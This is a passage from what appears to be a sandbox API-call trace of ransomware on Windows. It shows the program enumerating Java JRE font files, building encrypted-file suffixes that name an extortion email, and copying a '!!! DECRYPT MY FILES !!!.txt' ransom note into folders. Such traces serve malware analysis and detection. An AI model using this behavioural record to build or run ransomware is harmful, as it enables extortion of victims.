Size=0xa8) returned 0x64ead8 [0118.454] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.454] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0118.454] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0118.455] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties", len=0x3b | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 1 [0118.455] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties", cchLength=0x3b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties") returned 0x3b [0118.455] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.455] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.455] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.455] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.455] GetProcessHeap () returned 0x630000 [0118.455] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64ead8, Size=0xac) returned 0x72d22e8 [0118.455] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeba, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.bfc", cAlternateFileName="FONTCO~1.BFC")) returned 1 [0118.455] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 1 [0118.455] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 0x35 [0118.455] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.455] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.456] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.456] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.456] GetProcessHeap () returned 0x630000 [0118.456] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72d22e8, Size=0xb0) returned 0x72d28a8 [0118.456] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2948, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontconfig.properties.src", cAlternateFileName="FONTCO~1.SRC")) returned 1 [0118.456] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", len=0x40 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 1 [0118.456] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src", cchLength=0x40 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 0x40 [0118.456] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.456] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.456] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.456] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.456] GetProcessHeap () returned 0x630000 [0118.456] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72d28a8, Size=0xb4) returned 0x70cee8 [0118.457] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fonts", cAlternateFileName="")) returned 1 [0118.457] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\", len=0x2d | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\") returned 1 [0118.457] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\", cchLength=0x2d | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\") returned 0x2d [0118.457] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0118.457] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0118.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5040 [0118.896] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa122f229, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.896] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12588, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiBold.ttf", cAlternateFileName="LUCIDA~1.TTF")) returned 1 [0118.898] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf", len=0x45 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 1 [0118.898] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf", cchLength=0x45 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf") returned 0x45 [0118.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.898] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.898] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0118.898] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0118.898] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8c0476d, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f40 [0118.899] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0118.899] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0118.902] GetProcessHeap () returned 0x630000 [0118.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fbb290, Size=0xa4) returned 0x64f898 [0118.902] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiItalic.ttf", cAlternateFileName="LUCIDA~2.TTF")) returned 1 [0118.902] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 1 [0118.902] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf", cchLength=0x47 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf") returned 0x47 [0118.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.902] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.902] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.902] GetProcessHeap () returned 0x630000 [0118.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64f898, Size=0xa8) returned 0x64ead8 [0118.903] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13bd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightItalic.ttf", cAlternateFileName="LUCIDA~3.TTF")) returned 1 [0118.903] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf", len=0x43 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 1 [0118.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf", cchLength=0x43 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf") returned 0x43 [0118.903] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.903] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.903] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.903] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.903] GetProcessHeap () returned 0x630000 [0118.903] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64ead8, Size=0xac) returned 0x72d1de0 [0118.903] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5434c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightRegular.ttf", cAlternateFileName="LUCIDA~4.TTF")) returned 1 [0118.903] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf") returned 1 [0118.903] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightRegular.ttf", cchLength=0x44 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf") returned 0x44 [0118.903] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.903] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.904] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.904] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.904] GetProcessHeap () returned 0x630000 [0118.904] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72d1de0, Size=0xb0) returned 0x72d1f50 [0118.904] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansDemiBold.ttf", cAlternateFileName="LU38C7~1.TTF")) returned 1 [0118.905] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightregular.ttf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf", len=0x43 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 1 [0118.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf", cchLength=0x43 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf") returned 0x43 [0118.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.905] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.905] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.905] GetProcessHeap () returned 0x630000 [0118.905] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72d1f50, Size=0xb4) returned 0x70c6a8 [0118.905] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaa77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansRegular.ttf", cAlternateFileName="LU761B~1.TTF")) returned 1 [0118.905] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf", len=0x42 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 1 [0118.905] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf", cchLength=0x42 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf") returned 0x42 [0118.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.906] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.906] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.906] GetProcessHeap () returned 0x630000 [0118.906] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x70c6a8, Size=0xb8) returned 0x70d428 [0118.906] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39254, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaTypewriterBold.ttf", cAlternateFileName="LUE73B~1.TTF")) returned 1 [0118.906] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf", len=0x45 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 1 [0118.906] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf", cchLength=0x45 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf") returned 0x45 [0118.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.906] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.906] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.906] GetProcessHeap () returned 0x630000 [0118.906] 